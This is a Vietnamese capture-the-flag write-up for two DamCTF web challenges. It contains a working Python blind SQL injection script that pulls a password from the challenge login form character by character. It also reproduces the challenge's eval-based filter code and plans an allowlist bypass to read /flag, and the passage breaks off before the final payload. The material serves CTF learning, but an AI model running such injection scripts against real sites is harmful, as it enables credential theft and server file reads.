Bắt đầu challenge, chúng ta sẽ thấy một form đăng nhập:
Ở bước này, chúng ta có thể thực hiện sql injection bằng một payload đơn giản:
Thử click vào free flag, và tất nhiên không thể get flag, đời không như mer. Lại một form đăng nhập nữa mình hiện ra:
Mình thử một vài payload sqli cơ bản nhưng không có gì bất thường, có lẽ chúng ta cần phải lấy được password để đăng nhập. But how??
Câu trả lời nằm ở form đăng nhập đầu tiên, ở đây chúng ta có thể sử dụng blind sqli lên form đăng nhập đầu tiên để lấy mật khẩu:
Code cùi bắp để lấy password do mình viết:
import requests, string
url ='https://bouncy-box.chals.damctf.xyz/login'
length = 0
password=''
#Find length of password:
for i in range(1,50):
r = requests.post(url,data={'username_input':'boxy_mcbounce',"password_input":f"' or length(password)='{i}'#"})
if "boxy_mcbounce's Stats" in r.text:
length = i
print("length of password: ",length)
break
#Find password:
for i in range(1,length+1):
for s in string.printable:
r = requests.post(url,data={'username_input':'boxy_mcbounce',"password_input":f"' or substr(password,{i},1)='{s}'#"})
if "boxy_mcbounce's Stats" in r.text:
print(s)
password += s
break
print('Password: ',password)
Kết quả:
Thực hiện đăng nhập với password vừa tìm được và username là boxy_mcbounce và get flag.
Theo như docker file thì chúng ta đều có thể xem được nội dung của file app.py, check.py, filters.py và limit.py
check.py:
from limit import is_within_bounds, get_golf_limit
def allowlist_check(payload, allowlist):
# Check against allowlist.
print(f"Starting Allowlist Check with {payload} and {allowlist}")
if set(payload) == set(allowlist) or set(payload) <= set(allowlist):
return payload
print(f"Failed Allowlist Check: {set(payload)} != {set(allowlist)}")
return "Failed Allowlist Check, payload-allowlist=" + str(
set(payload) - set(allowlist)
)
def detect_remove_hacks(payload):
# This effectively destroyes all web attack vectors.
print(f"Received Payload with length:{len(payload)}")
if not is_within_bounds(payload):
return f"Payload is too long for current length limit of {get_golf_limit()} at {len(payload)} characters. Try locally."
allowlist = [
"c",
"{",
"}",
"d",
"6",
"l",
"(",
"b",
"o",
"r",
")",
'"',
"1",
"4",
"+",
"h",
"u",
"-",
"*",
"e",
"|",
"'",
]
payload = allowlist_check(payload, allowlist)
print(f"Allowlist Checked Payload -> {payload}")
return payload
filters.py
import base64
def uppercase(x):
return x.upper()
def lowercase(x):
return x.lower()
def b64d(x):
return base64.b64decode(x)
def order(x):
return ord(x)
def character(x):
return chr(x)
def e(x):
# Security analysts reviewed this and said eval is unsafe (haters).
# They would not approve this as "hack proof" unless I add some
# checks to prevent easy exploits.
print(f"Evaluating: {x}")
forbidlist = [" ", "=", ";", "\n", ".globals", "exec"]
for y in forbidlist:
if y in x:
return "Eval Failed: Foridlist."
if x[0:4] == "open" or x[0:4] == "eval":
return "Not That Easy ;)"
try:
return eval(x)
except Exception as exc:
return f"Eval Failed: {exc}"
Ngoài ra file docker còn cho chúng ta biết được là flag đang ở /flag
Nhìn vào file filters.py, trong hàm e chúng ta sẽ thấy sự xuất hiện của eval().
Mục tiêu của chúng ta là gọi được eval, sau đó thực hiện: open('/flag').read()
kiểm tra trong file check.py, chỉ có nhưng kí tự trong allowlist được phép sử dụng.
Nhưng trong payload của chúng ta sử dụng có những kí tự không được phép: p, n, /, f, a, g, ., r
Lúc này chúng ta có thể sử dụng hàm character trong filters để đổi từ giá trị hex sang ascii để lấy kí tự mong muốn. (Ở đây có một lưu ý là chỉ có số 6, 1, 4 là được phép sử dụng).
Nhưng trong hàm e kiểm tra xem 4 kí tự đầu tiên của tham số truyền vào có phải là open hay không. Nếu là open thì việc gọi eval sẽ thất bại. Vậy nên chúng ta cần sửa đổi một tý để payload trở thành: